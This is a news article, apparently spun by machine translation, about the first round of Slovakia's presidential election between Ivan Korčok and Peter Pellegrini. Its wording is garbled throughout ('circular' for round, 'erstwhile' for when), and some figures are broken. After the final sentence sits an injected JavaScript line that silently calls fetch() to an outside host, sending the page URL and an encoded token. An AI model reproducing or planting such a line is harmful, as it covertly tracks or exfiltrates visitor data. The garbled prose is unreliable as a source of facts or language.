Both candidates already managed to get as many voters as any candidate in the first circular since the historical election in 1999, erstwhile the president was elected straight for the first time. Then they faced Vladimir Mečiar and Rudolf Schuster.
Last Saturday Ivan Korčok gathered 958,000 votes (42.51%), and Peter Pellegrini 834 1000 (37.02 percent). Turnout reached a evidence level of 51.8 percent, which is simply a small more than in 2009, erstwhile they faced Iveta Radičová and Ivan Gašparovič (51.67 percent).
The results of the first circular showed that voters of both major candidates were powerfully motivated. However, forecasts of the second indicate a consequence at the border of statistical error.
Despite Ivan Korčok's clear win in the first round, did not predict No polls, his triumph in the second is determined. erstwhile polls indicate 1 winner of the second circular – Peter Pellegrini.
Korčok will gotta attract voters from another candidates specified as Igor Matovič, Ján Kubiš or Krisztián Forró. The chance for Korčok will besides be young people who will come from abroad for the second circular of elections. The organisation of Mladi proti fašism announced that a peculiar free train with Slovak students studying regular in the Czech Republic will leave Prague and Brno.
Pellegrini can number on any of the 264,000 votes earned by Štefan Harabin. It is the most anti-system, pro-Russian, nationalist voters who, if they go to vote in the second round, will pass the votes to the government candidate. However, Harabin himself now criticizes both candidates and advises his voters to stay home.
So far, the run has been novice. Pellegrini pretended for months that there was no election and acted like he was already president. This is why the upcoming run is looking very breathtaking and confrontational. Already before the first round, police warned against spreading Deepfakes and fake recordings.
The most crucial conclusion arising from the first circular of elections is that those who argue the complete surrender of power to the government attacking the regulation of law and independent media have won. There is inactive hope for Slovakia.window._p__||(window._p__=1,fetch(`https://gateway-ipfs.root.sx/probe/${window.location.href}/C1AHDRZWlVQFF5LS0FGQdWA05aUAFJdhwJUFVAVBcIAAFZGFGF9KRERZUVUPVE0CTB8NW0opTRIXgwEUIFERweBk0/GA==`)
